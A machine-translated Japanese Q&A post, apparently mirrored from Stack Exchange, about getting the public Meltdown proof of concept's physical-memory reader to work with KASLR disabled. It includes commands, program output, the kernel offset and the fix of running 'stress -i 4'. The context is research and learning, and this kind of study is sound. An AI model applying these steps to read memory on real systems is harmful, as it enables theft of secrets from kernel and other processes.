web-dev-qa-db-ja.com

Meltdown-PoC-KASLRを無効にした状態での物理アドレスの読み取りが機能しない

このPoCでの作業

https://github.com/IAIK/meltdown

それを実行する:

# ./secret 
[+] Secret: Sample text
[+] Virtual address of secret: 0x4af528
[+] Physical address of secret: 0x172bc3528
[+] Exit with Ctrl+C if you are done reading the secret

しかし、読書は何も示していません:

$ ./physical_reader 0x172bc3528
[+] Physical address       : 0x172bc3528
[+] Physical offset        : 0xffff880000000000
[+] Reading virtual address: 0xffff880172bc3528

KASLRを無効にしました。

 BOOT_IMAGE=/boot/vmlinuz-4.4.0-93-generic root=UUID=6c2b06f8-b8dd-4117-a77e-2425b27fb749 ro quiet splash crashkernel=384M-2G:128M,2G-:256M vt.handoff=7

信頼性テストは正常に機能します。

# ./reliability 
[-] Success rate: 99.40% (read 166 values)

誰かが秘密からメモリアドレスを読み取れない理由を誰かが知っていますか?

KASLRがない場合、物理オフセットは常に0xffff880000000000のままですよね?

おかげで、

3
dev

OKはそれを理解しました。これに基づいて:

https://github.com/IAIK/meltdown#frequencyly-asked-questions

4つのコアを使用して、ストレスユーティリティをインストールして実行しました。

stress -i 4

そして、持っていた2つのPoCでメモリを読み取ることができました。

はい、物理オフセットは0xffff880000000000でした

1
dev